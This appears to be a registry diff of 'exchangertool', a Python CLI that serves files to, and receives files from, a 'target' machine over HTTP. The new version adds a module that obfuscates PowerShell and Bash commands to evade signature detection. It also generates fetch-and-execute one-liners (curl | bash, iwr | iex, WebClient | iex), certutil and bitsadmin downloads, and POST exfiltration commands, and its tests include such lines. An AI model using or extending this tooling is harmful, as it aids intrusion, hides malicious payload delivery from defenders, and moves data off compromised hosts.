exchangertool
Advanced tools
| import base64 | ||
| import random | ||
| import re | ||
| def _quote_interrupt(s: str, chars: str = "iex") -> str: | ||
| """Insert empty quotes between characters (PowerShell: cmdlet quote interruption).""" | ||
| if len(s) <= 1: | ||
| return s | ||
| q = "''" if random.choice([True, False]) else '""' | ||
| idx = random.randint(1, len(s) - 1) | ||
| return s[:idx] + q + s[idx:] | ||
| def _random_case(s: str) -> str: | ||
| """Randomize character case (PowerShell/Bash).""" | ||
| return "".join(c.upper() if random.choice([True, False]) else c.lower() for c in s) | ||
| def _obfuscate_cmdlet(name: str) -> str: | ||
| """Obfuscate a PowerShell cmdlet name with quote interruption and/or case.""" | ||
| if random.choice([True, False]): | ||
| return _quote_interrupt(name) | ||
| return _random_case(name) | ||
| def _ps_string_concat(parts: list[str]) -> str: | ||
| """Build string from concatenated parts (lower entropy than random names).""" | ||
| return " + ".join(f"'{p}'" for p in parts) | ||
| def _ps_encode_b64(s: str) -> str: | ||
| """Express string via Base64 decode (PowerShell).""" | ||
| b = base64.b64encode(s.encode("utf-8")).decode("ascii") | ||
| return f"[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('{b}'))" | ||
| def obfuscate_powershell(cmd: str) -> str: | ||
| """Apply a mix of PowerShell obfuscation techniques (PowerShell-Obfuscation-Bible style). | ||
| Techniques: quote interruption, case randomization, Get-Command, string concat/base64, | ||
| boolean substitute, extra params. | ||
| """ | ||
| out = cmd | ||
| # iwr / Invoke-WebRequest / certutil / bitsadmin | ||
| for pattern, repl in [ | ||
| (r"\biwr\b", lambda m: _obfuscate_cmdlet("iwr")), | ||
| (r"\bInvoke-WebRequest\b", lambda m: _obfuscate_cmdlet("Invoke-WebRequest")), | ||
| (r"\bInvoke-RestMethod\b", lambda m: _obfuscate_cmdlet("Invoke-RestMethod")), | ||
| (r"\birm\b", lambda m: _obfuscate_cmdlet("irm")), | ||
| (r"\bcertutil\b", lambda m: _random_case("certutil")), | ||
| (r"\bbitsadmin\b", lambda m: _random_case("bitsadmin")), | ||
| ]: | ||
| out = re.sub(pattern, repl, out, flags=re.IGNORECASE) | ||
| # iex / Invoke-Expression | ||
| for pattern in [r"\biex\b", r"\bInvoke-Expression\b"]: | ||
| if re.search(pattern, out, re.IGNORECASE): | ||
| out = re.sub(pattern, lambda m: _obfuscate_cmdlet(m.group(0)), out, count=1, flags=re.IGNORECASE) | ||
| break | ||
| # -UseBasicParsing, -OutFile -> random case | ||
| out = re.sub(r"-UseBasicParsing", lambda m: _random_case("-UseBasicParsing"), out, flags=re.IGNORECASE) | ||
| out = re.sub(r"-OutFile", lambda m: _random_case("-OutFile"), out, flags=re.IGNORECASE) | ||
| # Optionally obfuscate URL inside quotes: split or base64 (only for in-memory short URLs we control) | ||
| uri_match = re.search(r'-Uri\s+"([^"]+)"', out) | ||
| if uri_match and random.choice([True, False]): | ||
| url = uri_match.group(1) | ||
| if len(url) < 200: | ||
| # Concatenate parts to break signature | ||
| mid = len(url) // 2 | ||
| part1, part2 = url[:mid], url[mid:] | ||
| new_uri = f"-Uri (\"{part1}\" + \"{part2}\")" | ||
| out = out.replace(f'-Uri "{url}"', new_uri) | ||
| # $True / $False -> boolean substitute | ||
| if "$True" in out or "$False" in out: | ||
| out = out.replace("$True", "[bool]1") | ||
| out = out.replace("$False", "[bool]0") | ||
| return out | ||
| def _bash_base64_wrap(cmd: str) -> str: | ||
| """Wrap command in base64 decode | bash (Bashfuscator-style encoding).""" | ||
| encoded = base64.b64encode(cmd.encode()).decode() | ||
| return f"echo {encoded} | base64 -d | bash" | ||
| def _bash_hex_chars(s: str) -> str: | ||
| """Express string using $'\\xNN' escapes for some chars (Bash).""" | ||
| result = [] | ||
| for c in s: | ||
| if c in " \t\n\"'$`\\|&;<>()" or random.random() < 0.3: | ||
| result.append(f"$'\\x{c.encode().hex()}'") | ||
| else: | ||
| result.append(c) | ||
| return "".join(result) | ||
| def _bash_var_expand(cmd: str) -> str: | ||
| """Introduce variable expansion: var=value; $var (Bashfuscator-style).""" | ||
| # Pick a substring that looks like a command (e.g. curl, wget, base) | ||
| for word in ["curl", "wget", "bash", "base64"]: | ||
| if word in cmd and f"{word} " in cmd: | ||
| idx = cmd.index(f"{word} ") | ||
| rest = cmd[idx + len(word) + 1 :] | ||
| var = "_" + "".join(random.choices("abcdefghij", k=6)) | ||
| return cmd[:idx] + f"{var}={word}; ${var} " + rest | ||
| return cmd | ||
| def _bash_quote_tricks(s: str) -> str: | ||
| """Mix quotes: split with '' or $'' (Bash).""" | ||
| if len(s) < 4: | ||
| return s | ||
| i = random.randint(1, len(s) - 1) | ||
| return s[:i] + "''" + s[i:] | ||
| def obfuscate_bash(cmd: str) -> str: | ||
| """Apply a mix of Bash obfuscation techniques (Bashfuscator-style). | ||
| Techniques: base64 wrap, variable expansion, hex escapes, quote interruption. | ||
| """ | ||
| choice = random.choice(["base64", "var", "hex_quote", "identity"]) | ||
| if choice == "base64": | ||
| return _bash_base64_wrap(cmd) | ||
| if choice == "var": | ||
| return _bash_var_expand(cmd) | ||
| if choice == "hex_quote": | ||
| # Obfuscate the command name (curl/wget) with quote tricks | ||
| parts = cmd.strip().split(None, 1) | ||
| if len(parts) >= 1: | ||
| first, rest = parts[0], (parts[1] if len(parts) > 1 else "") | ||
| for c in ["curl", "wget", "bash", "base64"]: | ||
| if first == c or first.startswith(c): | ||
| return f"{_bash_quote_tricks(first)} {rest}".strip() | ||
| return f"{_bash_quote_tricks(first)} {rest}".strip() | ||
| return cmd | ||
| # identity: optional light obfuscation | ||
| if "curl" in cmd: | ||
| cmd = re.sub(r"\bcurl\b", _bash_quote_tricks("curl"), cmd, count=1) | ||
| if "wget" in cmd: | ||
| cmd = re.sub(r"\bwget\b", _bash_quote_tricks("wget"), cmd, count=1) | ||
| return cmd |
| """CLI argument parsing and command dispatch.""" | ||
| import sys | ||
| from io import StringIO | ||
| from unittest.mock import patch | ||
| import pytest | ||
| from exchanger.cli import build_parser, main | ||
| def test_parser_serve_has_obfuscate(): | ||
| parser = build_parser() | ||
| args = parser.parse_args(["serve", "-o"]) | ||
| assert args.command == "serve" | ||
| assert args.obfuscate is True | ||
| def test_parser_serve_defaults(): | ||
| parser = build_parser() | ||
| args = parser.parse_args(["serve"]) | ||
| assert args.command == "serve" | ||
| assert args.port == 80 | ||
| assert args.dir == "." | ||
| assert args.bind == "0.0.0.0" | ||
| assert args.protocol == "http" | ||
| assert getattr(args, "obfuscate", False) is False | ||
| def test_parser_serve_full_options(): | ||
| parser = build_parser() | ||
| args = parser.parse_args( | ||
| ["serve", "-p", "8080", "-d", "/tmp", "--bind", "127.0.0.1", "-o"] | ||
| ) | ||
| assert args.port == 8080 | ||
| assert args.dir == "/tmp" | ||
| assert args.bind == "127.0.0.1" | ||
| assert args.obfuscate is True | ||
| def test_parser_receive_has_obfuscate(): | ||
| parser = build_parser() | ||
| args = parser.parse_args(["receive", "-o"]) | ||
| assert args.command == "receive" | ||
| assert args.obfuscate is True | ||
| def test_parser_receive_defaults(): | ||
| parser = build_parser() | ||
| args = parser.parse_args(["receive"]) | ||
| assert args.command == "receive" | ||
| assert args.port == 80 | ||
| assert args.dir == "." | ||
| def test_parser_help_exits_zero(): | ||
| parser = build_parser() | ||
| with pytest.raises(SystemExit) as exc: | ||
| parser.parse_args(["--help"]) | ||
| assert exc.value.code == 0 | ||
| def test_receive_protocol_smb_exits_with_message(): | ||
| parser = build_parser() | ||
| args = parser.parse_args(["receive", "--protocol", "smb"]) | ||
| with pytest.raises(SystemExit) as exc: | ||
| args.func(args) | ||
| assert exc.value.code != 0 | ||
| # Message is printed to stderr | ||
| assert "receive" in str(exc.value).lower() or "http" in str(exc.value).lower() | ||
| def test_serve_protocol_smb_exits_with_message(): | ||
| parser = build_parser() | ||
| args = parser.parse_args(["serve", "--protocol", "smb"]) | ||
| with pytest.raises(SystemExit) as exc: | ||
| args.func(args) | ||
| assert exc.value.code != 0 | ||
| def test_cli_entry_point_help(): | ||
| """Ensure the CLI entry point runs and --help exits 0.""" | ||
| with pytest.raises(SystemExit) as exc: | ||
| with patch.object(sys, "argv", ["exchanger", "--help"]): | ||
| main() | ||
| assert exc.value.code == 0 |
| """Tests for http_.py: _safe_join, request handler behavior, serve_http exit.""" | ||
| import os | ||
| import threading | ||
| import urllib.request | ||
| import urllib.error | ||
| from http.server import HTTPServer | ||
| from unittest.mock import MagicMock, patch | ||
| import pytest | ||
| from exchanger.http_ import ( | ||
| _safe_join, | ||
| _parse_multipart, | ||
| ExchangeHTTPRequestHandler, | ||
| serve_http, | ||
| ) | ||
| def test_safe_join_under_base(): | ||
| base = "/tmp/root" | ||
| path = "a/b.txt" | ||
| full = _safe_join(base, path) | ||
| assert full is not None | ||
| assert full.endswith("a/b.txt") or "b.txt" in full | ||
| assert full.startswith(os.path.abspath(base)) | ||
| def test_safe_join_escape_returns_none(): | ||
| base = "/tmp/root" | ||
| path = "../../etc/passwd" | ||
| full = _safe_join(base, path) | ||
| assert full is None | ||
| def test_safe_join_leading_slash_stripped(): | ||
| base = "/tmp/root" | ||
| path = "/a/b" | ||
| full = _safe_join(base, path) | ||
| assert full is not None | ||
| assert "a" in full and "b" in full | ||
| def test_parse_multipart_single_file(): | ||
| boundary = b"----bound" | ||
| body = ( | ||
| b"------bound\r\n" | ||
| b'Content-Disposition: form-data; name="file"; filename="x.txt"\r\n\r\n' | ||
| b"filecontent\r\n" | ||
| b"------bound--\r\n" | ||
| ) | ||
| out = _parse_multipart(body, boundary) | ||
| assert "file" in out | ||
| assert out["file"] == b"filecontent" | ||
| def test_parse_multipart_empty(): | ||
| out = _parse_multipart(b"--b--\r\n", b"b") | ||
| assert isinstance(out, dict) | ||
| def _handler_with_dir(directory): | ||
| def handler(*args, **kwargs): | ||
| return ExchangeHTTPRequestHandler(*args, directory=directory, **kwargs) | ||
| return handler | ||
| def test_handler_get_root_returns_200(tmp_path): | ||
| server = HTTPServer(("127.0.0.1", 0), _handler_with_dir(str(tmp_path))) | ||
| port = server.server_address[1] | ||
| try: | ||
| t = threading.Thread(target=server.serve_forever) | ||
| t.daemon = True | ||
| t.start() | ||
| req = urllib.request.Request(f"http://127.0.0.1:{port}/") | ||
| with urllib.request.urlopen(req, timeout=2) as r: | ||
| assert r.status == 200 | ||
| body = r.read().decode() | ||
| assert "exchanger" in body or "GET" in body | ||
| finally: | ||
| server.shutdown() | ||
| server.server_close() | ||
| def test_handler_get_missing_file_returns_404(tmp_path): | ||
| server = HTTPServer(("127.0.0.1", 0), _handler_with_dir(str(tmp_path))) | ||
| port = server.server_address[1] | ||
| try: | ||
| t = threading.Thread(target=server.serve_forever) | ||
| t.daemon = True | ||
| t.start() | ||
| req = urllib.request.Request(f"http://127.0.0.1:{port}/nonexistent") | ||
| with pytest.raises(urllib.error.HTTPError) as exc: | ||
| urllib.request.urlopen(req, timeout=2) | ||
| assert exc.value.code == 404 | ||
| finally: | ||
| server.shutdown() | ||
| server.server_close() | ||
| def test_handler_get_existing_file_returns_200(tmp_path): | ||
| (tmp_path / "hello.txt").write_text("hello world") | ||
| server = HTTPServer(("127.0.0.1", 0), _handler_with_dir(str(tmp_path))) | ||
| port = server.server_address[1] | ||
| try: | ||
| t = threading.Thread(target=server.serve_forever) | ||
| t.daemon = True | ||
| t.start() | ||
| req = urllib.request.Request(f"http://127.0.0.1:{port}/hello.txt") | ||
| with urllib.request.urlopen(req, timeout=2) as r: | ||
| assert r.status == 200 | ||
| assert r.read() == b"hello world" | ||
| finally: | ||
| server.shutdown() | ||
| server.server_close() | ||
| def test_handler_get_path_traversal_returns_403(tmp_path): | ||
| server = HTTPServer(("127.0.0.1", 0), _handler_with_dir(str(tmp_path))) | ||
| port = server.server_address[1] | ||
| try: | ||
| t = threading.Thread(target=server.serve_forever) | ||
| t.daemon = True | ||
| t.start() | ||
| req = urllib.request.Request(f"http://127.0.0.1:{port}/../etc/passwd") | ||
| with pytest.raises(urllib.error.HTTPError) as exc: | ||
| urllib.request.urlopen(req, timeout=2) | ||
| assert exc.value.code == 403 | ||
| finally: | ||
| server.shutdown() | ||
| server.server_close() | ||
| def test_serve_http_nonexistent_dir_exits(): | ||
| from argparse import Namespace | ||
| args = Namespace(dir="/nonexistent_dir_xyz_12345", port=0, bind="127.0.0.1", protocol="http") | ||
| with pytest.raises(SystemExit) as exc: | ||
| serve_http(args) | ||
| assert exc.value.code != 0 | ||
| def test_serve_http_port_443_no_certs_exits(tmp_path): | ||
| from argparse import Namespace | ||
| args = Namespace(dir=str(tmp_path), port=443, bind="127.0.0.1", protocol="http") | ||
| mock_server = MagicMock() | ||
| mock_server.socket = MagicMock() | ||
| with patch("exchanger.http_.http.server.HTTPServer", return_value=mock_server): | ||
| with patch("exchanger.http_.ssl.SSLContext") as mock_ctx: | ||
| mock_ctx.return_value.load_cert_chain.side_effect = FileNotFoundError | ||
| with pytest.raises(SystemExit) as exc: | ||
| serve_http(args) | ||
| assert exc.value.code == 1 | ||
| def test_handler_post_raw_body_returns_201(tmp_path): | ||
| server = HTTPServer(("127.0.0.1", 0), _handler_with_dir(str(tmp_path))) | ||
| port = server.server_address[1] | ||
| try: | ||
| t = threading.Thread(target=server.serve_forever) | ||
| t.daemon = True | ||
| t.start() | ||
| req = urllib.request.Request( | ||
| f"http://127.0.0.1:{port}/uploaded.bin", | ||
| data=b"binary content", | ||
| method="POST", | ||
| headers={"Content-Length": "14"}, | ||
| ) | ||
| with urllib.request.urlopen(req, timeout=2) as r: | ||
| assert r.status == 201 | ||
| assert (tmp_path / "uploaded.bin").read_bytes() == b"binary content" | ||
| finally: | ||
| server.shutdown() | ||
| server.server_close() |
| """Tests for net_.py: URL building, target commands, print_commands_serve.""" | ||
| import io | ||
| import sys | ||
| from unittest.mock import patch | ||
| import pytest | ||
| from exchanger import net_ | ||
| def test_base_url_port_80(): | ||
| assert net_._base_url("192.168.1.1", 80) == "http://192.168.1.1" | ||
| def test_base_url_port_443(): | ||
| assert net_._base_url("10.0.0.1", 443) == "https://10.0.0.1" | ||
| def test_base_url_custom_port(): | ||
| assert net_._base_url("192.168.1.1", 8080) == "http://192.168.1.1:8080" | ||
| def test_port_proto(): | ||
| port_opt, proto_opt = net_._port_proto(80, "http") | ||
| assert port_opt == "" | ||
| assert proto_opt == "" | ||
| port_opt, proto_opt = net_._port_proto(8080, "http") | ||
| assert "8080" in port_opt | ||
| assert proto_opt == "" | ||
| def test_target_receive_linux(): | ||
| base = "http://192.168.1.1:80" | ||
| out = net_._target_receive_linux(base, "/script.sh", "/tmp/script.sh") | ||
| assert "curl -o /tmp/script.sh" in out | ||
| assert "wget -O /tmp/script.sh" in out | ||
| assert "/dev/tcp/" in out | ||
| assert base in out or "192.168.1.1" in out | ||
| def test_target_receive_win(): | ||
| base = "http://192.168.1.1:80" | ||
| out = net_._target_receive_win(base, "/x", "out") | ||
| assert "curl -o out" in out | ||
| assert "wget -O out" in out | ||
| assert "certutil" in out | ||
| assert "iwr" in out or "Invoke-WebRequest" in out | ||
| assert "bitsadmin" in out | ||
| assert "192.168.1.1" in out | ||
| def test_target_send_linux(): | ||
| base = "http://10.0.0.1:8080" | ||
| out = net_._target_send_linux(base, "./f", "f") | ||
| assert "curl -X POST" in out | ||
| assert "--data-binary" in out | ||
| assert "10.0.0.1" in out | ||
| def test_target_send_win(): | ||
| base = "http://10.0.0.1" | ||
| out = net_._target_send_win(base, "file", "file") | ||
| assert "curl -X POST" in out | ||
| assert "10.0.0.1" in out | ||
| def test_target_inmemory_linux(): | ||
| base = "http://192.168.1.1/path" | ||
| lines = net_._target_inmemory_linux(base, "/script.sh") | ||
| assert len(lines) >= 1 | ||
| assert any("curl" in l and "bash" in l for l in lines) | ||
| assert any("wget" in l and "bash" in l for l in lines) | ||
| assert "192.168.1.1" in lines[0] | ||
| def test_target_inmemory_win(): | ||
| base = "http://192.168.1.1" | ||
| lines = net_._target_inmemory_win(base, "/x.ps1") | ||
| assert len(lines) >= 1 | ||
| assert any("iex" in l or "Invoke-Expression" in l for l in lines) | ||
| assert any("WebClient" in l or "iwr" in l for l in lines) | ||
| def test_get_serve_base_returns_none_when_protocol_not_http(): | ||
| with patch.object(net_, "pick_platform", return_value="windows"): | ||
| with patch.object(net_, "pick_interface", return_value="127.0.0.1"): | ||
| base, platform = net_.get_serve_base(80, protocol="smb") | ||
| assert base is None | ||
| assert platform is None | ||
| def test_print_commands_serve_none_base_returns_none_none(): | ||
| result = net_.print_commands_serve(80, _base=None, _platform="linux") | ||
| assert result == (None, None) | ||
| def test_print_commands_serve_linux_prints_sections(capsys): | ||
| base = "http://192.168.1.1:80" | ||
| net_.print_commands_serve( | ||
| 80, | ||
| _base=base, | ||
| _platform="linux", | ||
| serve_path=None, | ||
| obfuscate=False, | ||
| ) | ||
| captured = capsys.readouterr() | ||
| assert "GNU/Linux" in captured.err | ||
| assert "curl" in captured.err or "wget" in captured.err | ||
| assert "192.168.1.1" in captured.err | ||
| def test_print_commands_serve_windows_prints_sections(capsys): | ||
| base = "http://192.168.1.1:80" | ||
| net_.print_commands_serve( | ||
| 80, | ||
| _base=base, | ||
| _platform="windows", | ||
| serve_path=None, | ||
| obfuscate=False, | ||
| ) | ||
| captured = capsys.readouterr() | ||
| assert "Windows" in captured.err | ||
| assert "iwr" in captured.err or "certutil" in captured.err | ||
| def test_print_commands_serve_obfuscate_writes_to_stdout(capsys): | ||
| base = "http://192.168.1.1:80" | ||
| net_.print_commands_serve( | ||
| 80, | ||
| _base=base, | ||
| _platform="linux", | ||
| serve_path=None, | ||
| obfuscate=True, | ||
| ) | ||
| captured = capsys.readouterr() | ||
| assert "curl" in captured.out or "wget" in captured.out or "bash" in captured.out | ||
| assert "GNU/Linux" in captured.err | ||
| def test_print_commands_serve_with_serve_path(capsys): | ||
| base = "http://10.0.0.1" | ||
| net_.print_commands_serve( | ||
| 80, | ||
| _base=base, | ||
| _platform="linux", | ||
| serve_path="dir/payload.bin", | ||
| obfuscate=False, | ||
| ) | ||
| captured = capsys.readouterr() | ||
| assert "payload.bin" in captured.err or "dir" in captured.err | ||
| def test_pick_interface_menu_returns_selected(): | ||
| choices = [("eth0", "192.168.1.1"), ("eth1", "10.0.0.1")] | ||
| with patch("builtins.input", return_value="2"): | ||
| result = net_._pick_interface_menu(choices) | ||
| assert result == "10.0.0.1" | ||
| def test_pick_interface_menu_invalid_returns_none(): | ||
| choices = [("eth0", "192.168.1.1")] | ||
| with patch("builtins.input", return_value="99"): | ||
| result = net_._pick_interface_menu(choices) | ||
| assert result is None | ||
| def test_get_local_ip_empty_interfaces(): | ||
| with patch.object(net_, "get_all_interfaces", return_value=[]): | ||
| assert net_.get_local_ip() is None | ||
| def test_get_local_ip_prefers_tun0(): | ||
| with patch.object( | ||
| net_, "get_all_interfaces", return_value=[("eth0", "192.168.1.1"), ("tun0", "10.8.0.1")] | ||
| ): | ||
| assert net_.get_local_ip() == "10.8.0.1" | ||
| def test_get_local_ip_first_otherwise(): | ||
| with patch.object( | ||
| net_, "get_all_interfaces", return_value=[("eth0", "192.168.1.1")] | ||
| ): | ||
| assert net_.get_local_ip() == "192.168.1.1" | ||
| def test_pick_file_to_serve_empty_dir(tmp_path): | ||
| assert net_.pick_file_to_serve(str(tmp_path)) is None | ||
| def test_pick_file_to_serve_returns_file_when_single(tmp_path): | ||
| (tmp_path / "only.txt").write_text("x") | ||
| with patch("exchanger.net_.subprocess.run") as run: | ||
| run.return_value = type("R", (), {"returncode": 0, "stdout": "only.txt\n"})() | ||
| result = net_.pick_file_to_serve(str(tmp_path)) | ||
| assert result == "only.txt" |
| """Tests for obfuscate_.py: PowerShell and Bash obfuscation output validity.""" | ||
| import base64 | ||
| import re | ||
| import pytest | ||
| from exchanger.obfuscate_ import ( | ||
| obfuscate_bash, | ||
| obfuscate_powershell, | ||
| _bash_base64_wrap, | ||
| _bash_quote_tricks, | ||
| _random_case, | ||
| ) | ||
| def test_obfuscate_powershell_returns_non_empty(): | ||
| cmd = 'iwr -Uri "http://192.168.1.1/x" -UseBasicParsing | iex' | ||
| out = obfuscate_powershell(cmd) | ||
| assert len(out) >= len(cmd) or "iwr" in out or "Iwr" in out or "i''wr" in out | ||
| def test_obfuscate_powershell_contains_uri_or_obfuscated_cmdlet(): | ||
| cmd = 'iwr -Uri "http://h/p" -OutFile "out"' | ||
| out = obfuscate_powershell(cmd) | ||
| assert "http" in out | ||
| assert "out" in out or "Out" in out | ||
| def test_obfuscate_powershell_true_false_substitute(): | ||
| cmd = "something $True and $False" | ||
| out = obfuscate_powershell(cmd) | ||
| assert "[bool]1" in out | ||
| assert "[bool]0" in out | ||
| def test_obfuscate_bash_returns_non_empty(): | ||
| cmd = "curl -s http://192.168.1.1/x | bash" | ||
| out = obfuscate_bash(cmd) | ||
| assert len(out) > 0 | ||
| def test_obfuscate_bash_base64_wrap_decodes_to_original(): | ||
| cmd = "curl -s http://example.com/script | bash" | ||
| wrapped = _bash_base64_wrap(cmd) | ||
| assert "base64 -d" in wrapped | ||
| assert "bash" in wrapped | ||
| match = re.search(r"echo\s+(\S+)\s+\|", wrapped) | ||
| assert match | ||
| b64 = match.group(1) | ||
| decoded = base64.b64decode(b64).decode() | ||
| assert decoded == cmd | ||
| def test_obfuscate_bash_quote_tricks_preserves_length_plus_quotes(): | ||
| s = "curl" | ||
| out = _bash_quote_tricks(s) | ||
| assert "''" in out | ||
| assert "curl" in out or out.replace("''", "") == "curl" | ||
| def test_random_case_returns_same_length(): | ||
| s = "Invoke-WebRequest" | ||
| out = _random_case(s) | ||
| assert len(out) == len(s) | ||
| assert out.lower() == s.lower() | ||
| def test_obfuscate_bash_multiple_calls_produce_runnable_variants(): | ||
| cmd = "wget -qO- http://x/y | bash" | ||
| results = [obfuscate_bash(cmd) for _ in range(8)] | ||
| for out in results: | ||
| assert "wget" in out or "base64" in out or "''" in out | ||
| assert "http" in out or "echo " in out | ||
| def test_obfuscate_powershell_iex_obfuscated(): | ||
| cmd = "iex (Get-Content x)" | ||
| out = obfuscate_powershell(cmd) | ||
| # iex is obfuscated (quote interruption or random case) | ||
| assert "iex" in out.lower() or "i''ex" in out or "i\"\"ex" in out | ||
| def test_obfuscate_powershell_certutil_bitsadmin_case(): | ||
| cmd = "certutil -urlcache -split -f http://h/x out" | ||
| out = obfuscate_powershell(cmd) | ||
| assert "certutil" in out.lower() | ||
| assert "http" in out |
+10
-0
@@ -62,2 +62,7 @@ """CLI argument parsing and dispatch.""" | ||
| ) | ||
| serve_p.add_argument( | ||
| "-o", "--obfuscate", | ||
| action="store_true", | ||
| help="output only obfuscated commands (receive on disk + in-memory) to stdout", | ||
| ) | ||
| serve_p.set_defaults(func=_cmd_serve) | ||
@@ -80,2 +85,7 @@ | ||
| ) | ||
| recv_p.add_argument( | ||
| "-o", "--obfuscate", | ||
| action="store_true", | ||
| help="output only obfuscated commands to stdout", | ||
| ) | ||
| recv_p.set_defaults(func=_cmd_receive) | ||
@@ -82,0 +92,0 @@ |
@@ -230,6 +230,6 @@ """HTTP server and client for file exchange.""" | ||
| def serve_http(args, receive_only: bool = False): | ||
| os.chdir(args.dir) | ||
| dir_abs = os.path.abspath(args.dir) | ||
| if not os.path.isdir(dir_abs): | ||
| sys.exit(f"exchanger: not a directory: {args.dir}") | ||
| os.chdir(args.dir) | ||
| handler = lambda *a, **k: ExchangeHTTPRequestHandler(*a, directory=dir_abs, **k) | ||
@@ -256,3 +256,7 @@ server = http.server.HTTPServer((args.bind, args.port), handler) | ||
| print(f"exchanger: listening to receive (target POSTs to you) on {args.bind}:{args.port}", file=sys.stderr) | ||
| print_commands_receive_listen(args.port, getattr(args, "protocol", "http")) | ||
| print_commands_receive_listen( | ||
| args.port, | ||
| getattr(args, "protocol", "http"), | ||
| obfuscate=getattr(args, "obfuscate", False), | ||
| ) | ||
| else: | ||
@@ -273,2 +277,3 @@ from .net_ import BOLD, GREEN, RESET, get_serve_base, print_commands_serve, pick_file_to_serve | ||
| _platform=platform, | ||
| obfuscate=getattr(args, "obfuscate", False), | ||
| ) | ||
@@ -275,0 +280,0 @@ server.serve_path = serve_path |
+63
-14
@@ -89,6 +89,6 @@ """Local IP detection and interface picker.""" | ||
| def pick_platform() -> str | None: | ||
| """Fuzzy pick Windows or Linux; return 'windows' or 'linux', or None to show both.""" | ||
| """Fuzzy pick Windows or GNU/Linux; return 'windows' or 'linux', or None to show both.""" | ||
| if not sys.stderr.isatty(): | ||
| return None | ||
| choices = [("Windows", "windows"), ("Linux", "linux")] | ||
| choices = [("Windows", "windows"), ("GNU/Linux", "linux")] | ||
| lines = [label for label, _ in choices] | ||
@@ -109,3 +109,3 @@ try: | ||
| return "windows" | ||
| if selected == "linux": | ||
| if selected in ("linux", "gnu/linux"): | ||
| return "linux" | ||
@@ -115,3 +115,3 @@ return None | ||
| pass | ||
| sys.stderr.write("\n platform: 1) Windows 2) Linux [1/2]: ") | ||
| sys.stderr.write("\n platform: 1) Windows 2) GNU/Linux [1/2]: ") | ||
| sys.stderr.flush() | ||
@@ -198,2 +198,20 @@ try: | ||
| def _target_inmemory_linux(base: str, path: str = "/path/to/file") -> list[str]: | ||
| """One-liners to download and execute in memory (no file on disk). Best for scripts.""" | ||
| url = base.rstrip("/") + path | ||
| return [ | ||
| f"curl -s {url} | bash", | ||
| f"wget -qO- {url} | bash", | ||
| ] | ||
| def _target_inmemory_win(base: str, path: str = "/path/to/file") -> list[str]: | ||
| """One-liners to download and execute in memory (no file on disk). Best for PowerShell scripts.""" | ||
| url = base.rstrip("/") + path | ||
| return [ | ||
| f"iwr -Uri \"{url}\" -UseBasicParsing | iex", | ||
| f"(New-Object Net.WebClient).DownloadString(\"{url}\") | iex", | ||
| ] | ||
| def pick_file_to_serve(dir_abs: str) -> str | None: | ||
@@ -228,6 +246,28 @@ """Fuzzy-pick a file under dir_abs; return relative path or None.""" | ||
| def _write_section(title: str, emoji: str, lines: list[str]) -> None: | ||
| def _write_section( | ||
| title: str, emoji: str, lines: list[str], obfuscate: bool = False | ||
| ) -> None: | ||
| sys.stderr.write(f"\n {YELLOW}{BOLD}{emoji} {title}{RESET}\n") | ||
| for line in lines: | ||
| sys.stderr.write(f" {CYAN}{line}{RESET}\n") | ||
| if obfuscate: | ||
| from .obfuscate_ import obfuscate_bash, obfuscate_powershell | ||
| if any( | ||
| x in line | ||
| for x in ( | ||
| "iwr", | ||
| "iex", | ||
| "certutil", | ||
| "bitsadmin", | ||
| "OutFile", | ||
| "WebClient", | ||
| "Invoke-", | ||
| "Net.WebClient", | ||
| ) | ||
| ): | ||
| line = obfuscate_powershell(line) | ||
| else: | ||
| line = obfuscate_bash(line) | ||
| sys.stdout.write(line + "\n") | ||
| else: | ||
| sys.stderr.write(f" {CYAN}{line}{RESET}\n") | ||
@@ -241,4 +281,5 @@ | ||
| _platform: str | None = None, | ||
| obfuscate: bool = False, | ||
| ) -> tuple[str | None, str | None]: | ||
| """Print copy-paste commands for target. Call with _base and _platform from get_serve_base().""" | ||
| """Print copy-paste commands for target. When obfuscate=True, obfuscated commands go to stdout only.""" | ||
| if _base is None or _platform is None: | ||
@@ -261,15 +302,21 @@ return (None, None) | ||
| send_lines = [_target_send_linux(base, path=f"./{send_path}", name=send_name)] | ||
| _write_section("Linux β receive (curl, wget, bash)", "π§ β¬οΈ", recv_lines) | ||
| _write_section("Linux β send", "π§ β¬οΈ", send_lines) | ||
| _write_section("GNU/Linux β receive (curl, wget, bash)", "π§ β¬οΈ", recv_lines, obfuscate) | ||
| _write_section("GNU/Linux β in-memory execute (curl | bash, wget | bash)", "π§ πΎ", _target_inmemory_linux(base, path=url_path), obfuscate) | ||
| _write_section("GNU/Linux β send", "π§ β¬οΈ", send_lines, obfuscate) | ||
| if platform in (None, "windows"): | ||
| recv_lines = _target_receive_win(base, path=url_path, out=out_win).strip().split("\n") | ||
| send_lines = [_target_send_win(base, path=send_path, name=send_name)] | ||
| _write_section("Windows β receive (curl, wget, certutil, iwr, bitsadmin)", "πͺ β¬οΈ", recv_lines) | ||
| _write_section("Windows β send", "πͺ β¬οΈ", send_lines) | ||
| _write_section("Windows β receive (curl, wget, certutil, iwr, bitsadmin)", "πͺ β¬οΈ", recv_lines, obfuscate) | ||
| _write_section("Windows β in-memory execute (iwr | iex, WebClient)", "πͺ πΎ", _target_inmemory_win(base, path=url_path), obfuscate) | ||
| _write_section("Windows β send", "πͺ β¬οΈ", send_lines, obfuscate) | ||
| sys.stderr.write("\n") | ||
| sys.stderr.flush() | ||
| if obfuscate: | ||
| sys.stdout.flush() | ||
| return (base, platform) | ||
| def print_commands_receive_listen(port: int, protocol: str = "http") -> None: | ||
| def print_commands_receive_listen( | ||
| port: int, protocol: str = "http", obfuscate: bool = False | ||
| ) -> None: | ||
| """Print copy-paste for target to POST file to you (host is listening).""" | ||
@@ -283,5 +330,7 @@ platform = pick_platform() | ||
| if platform in (None, "linux"): | ||
| _write_section("Linux β send", "π§ β¬οΈ", [_target_send_linux(base)]) | ||
| _write_section("GNU/Linux β send", "π§ β¬οΈ", [_target_send_linux(base)], obfuscate) | ||
| if platform in (None, "windows"): | ||
| _write_section("Windows β send", "πͺ β¬οΈ", [_target_send_win(base)]) | ||
| _write_section("Windows β send", "πͺ β¬οΈ", [_target_send_win(base)], obfuscate) | ||
| sys.stderr.write("\n") | ||
| if obfuscate: | ||
| sys.stdout.flush() |
| Metadata-Version: 2.4 | ||
| Name: exchangertool | ||
| Version: 0.1.3 | ||
| Version: 0.2.1 | ||
| Summary: Minimal CLI to send or receive files over HTTP or SMB. | ||
@@ -11,2 +11,5 @@ License-Expression: MIT | ||
| Requires-Dist: tqdm | ||
| Provides-Extra: dev | ||
